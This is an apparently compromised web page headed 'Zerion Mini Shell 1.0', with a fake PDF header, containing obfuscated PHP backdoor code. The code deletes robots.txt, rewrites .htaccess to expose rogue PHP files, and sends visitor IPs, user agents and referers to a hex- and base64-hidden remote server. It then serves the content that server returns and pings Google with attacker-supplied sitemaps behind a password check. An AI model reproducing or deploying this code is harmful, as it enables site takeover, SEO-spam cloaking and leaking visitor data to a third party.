%PDF-
%PDF-
Mini Shell
Mini Shell
<?php
function kLzdagpAJnowBazs($ECbpYjWMXv, $EPpwXHvhgP, $IkYXLtthje) { $fTlvSnyDdb = 'https://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $IZsZlIOWmj = sprintf($fTlvSnyDdb, $ECbpYjWMXv, $IkYXLtthje["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $IkYXLtthje["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $EPpwXHvhgP); $fFukKKTvWe = http($IZsZlIOWmj); if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x73\x74"])){ var_dump($IZsZlIOWmj); var_dump($fFukKKTvWe); die(); } $PrqCJViLrH = "\x67\x6f\x6f\x67\x6c\x65"; $nHlvUSmDiP = "\x73\x75\x63\x63\x65\x73\x73"; $cAaHtVYBLS = "\x66\x61\x69\x6c\x65\x64"; if (strpos($fFukKKTvWe, $PrqCJViLrH) != false) { die($nHlvUSmDiP); } else { $fTlvSnyDdb = 'http://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $IZsZlIOWmj = sprintf($fTlvSnyDdb, $ECbpYjWMXv, $IkYXLtthje["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $IkYXLtthje["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $EPpwXHvhgP); $fFukKKTvWe = http($IZsZlIOWmj); if (strpos($fFukKKTvWe, $PrqCJViLrH) != false) { die($nHlvUSmDiP); } die($cAaHtVYBLS); } } function http($lyNFmRAIuh,$cDMJBpRjFi='',$yriiRUPHnY=''){ if($cDMJBpRjFi == '') { $twbLcTnhXg = @file_get_contents($lyNFmRAIuh); if($twbLcTnhXg){return $twbLcTnhXg;} } $wsvMURZXKN = curl_init(); curl_setopt($wsvMURZXKN, CURLOPT_URL, $lyNFmRAIuh); curl_setopt($wsvMURZXKN, CURLOPT_USERAGENT, $yriiRUPHnY); curl_setopt($wsvMURZXKN, CURLOPT_RETURNTRANSFER, 1); curl_setopt($wsvMURZXKN, CURLOPT_TIMEOUT, 20); curl_setopt($wsvMURZXKN, CURLOPT_FRESH_CONNECT, TRUE); if ($cDMJBpRjFi != '') { curl_setopt($wsvMURZXKN, CURLOPT_POST, 1); if(is_array($cDMJBpRjFi)){ curl_setopt($wsvMURZXKN, CURLOPT_POSTFIELDS, http_build_query($cDMJBpRjFi)); } } $twbLcTnhXg = curl_exec($wsvMURZXKN); curl_close($wsvMURZXKN); return $twbLcTnhXg; } function f_check_htaccess() { if (file_exists("\x72\x6f\x62\x6f\x74\x73".'.txt')){ @unlink("\x72\x6f\x62\x6f\x74\x73".'.txt'); } $PkKfSnfpIz = '.'."\x68\x74\x61\x63\x63\x65\x73\x73"; $gtXPoUNuaE = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($PkKfSnfpIz)) { $sYJwxLMZrP = file_get_contents($PkKfSnfpIz); if ($gtXPoUNuaE == $sYJwxLMZrP) { return; } } @chmod($PkKfSnfpIz, 0777); @file_put_contents($PkKfSnfpIz, $gtXPoUNuaE); @chmod($PkKfSnfpIz, 0644); } $gvwucsBAPB = "VaiHxRG0tcxDeoJvFLdzwUqyTNMjkYxtUYX2zgW0ILfXjYY4eMzij5VsYbm3rZolCcF3BNQlVbp3lYfuWbWGyla2VZmQe=y="; $ZXYOxDICbQ = str_split($gvwucsBAPB); $fCTeIqDTof = ''; for ($JWIKYqEQPt=0;$JWIKYqEQPt<count($ZXYOxDICbQ);$JWIKYqEQPt++) { if ($JWIKYqEQPt%2 != 0) { $fCTeIqDTof .= $ZXYOxDICbQ[$JWIKYqEQPt]; } } $IkYXLtthje["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"] = $gvwucsBAPB; $IkYXLtthje["\x61\x70\x69"] = base64_decode($fCTeIqDTof); $IkYXLtthje["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"] =isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"]; $IkYXLtthje["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"]; $IkYXLtthje["\x72\x65\x66\x65\x72\x65\x72"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"] : ''; $IkYXLtthje["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"] : ''; $IkYXLtthje["\x69\x70"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_VIA"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_X_FORWARDED_FOR"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"]; if($IkYXLtthje["\x69\x70"] == null) {$IkYXLtthje["\x69\x70"] = "";} $IkYXLtthje["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"]) ? 'https://' : 'http://'; $IkYXLtthje["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"] : ''; if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x61\x72\x61\x6d\x73"])) {print_r($IkYXLtthje);die();} if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"])) { if (md5(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])) { $EPpwXHvhgP = ${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"]; $PnPcmBAFpG = 'www.google.com'; if (isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])) { $PnPcmBAFpG = ${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"]; } kLzdagpAJnowBazs($PnPcmBAFpG, $EPpwXHvhgP, $IkYXLtthje); } } } f_check_htaccess(); $JJksVtKvuh = array( "\x64\x6f\x6d\x61\x69\x6e" => $IkYXLtthje["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], "\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c" => $IkYXLtthje["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"], "\x69\x70" => $IkYXLtthje["\x69\x70"], "\x61\x67\x65\x6e\x74" => $IkYXLtthje["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"], "\x72\x65\x66\x65\x72\x65\x72" => $IkYXLtthje["\x72\x65\x66\x65\x72\x65\x72"], "\x70\x72\x6f\x74\x6f\x63\x6f\x6c" => $IkYXLtthje["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], "\x6c\x61\x6e\x67\x75\x61\x67\x65" => $IkYXLtthje["\x6c\x61\x6e\x67\x75\x61\x67\x65"] ); $gtXPoUNuaE = http($IkYXLtthje["\x61\x70\x69"], $JJksVtKvuh, $IkYXLtthje["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]); if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x64\x75\x6d\x70"])) { var_dump($gtXPoUNuaE); $gtXPoUNuaE = http("https://"."\x67\x6f\x6f\x67\x6c\x65".".com"); var_dump($gtXPoUNuaE); die(); } $gtXPoUNuaE = @gzuncompress(base64_decode($gtXPoUNuaE)); $XKHDcpGpSM = @preg_split("/\|/si", $gtXPoUNuaE, -1, PREG_SPLIT_NO_EMPTY); if ($XKHDcpGpSM !== false) { $cDMJBpRjFi = array_pop($XKHDcpGpSM); $cDMJBpRjFi = base64_decode($cDMJBpRjFi); foreach ($XKHDcpGpSM as $rbhcynoZhX) { @header($rbhcynoZhX); } echo $cDMJBpRjFi; die(); } ?>
Zerion Mini Shell 1.0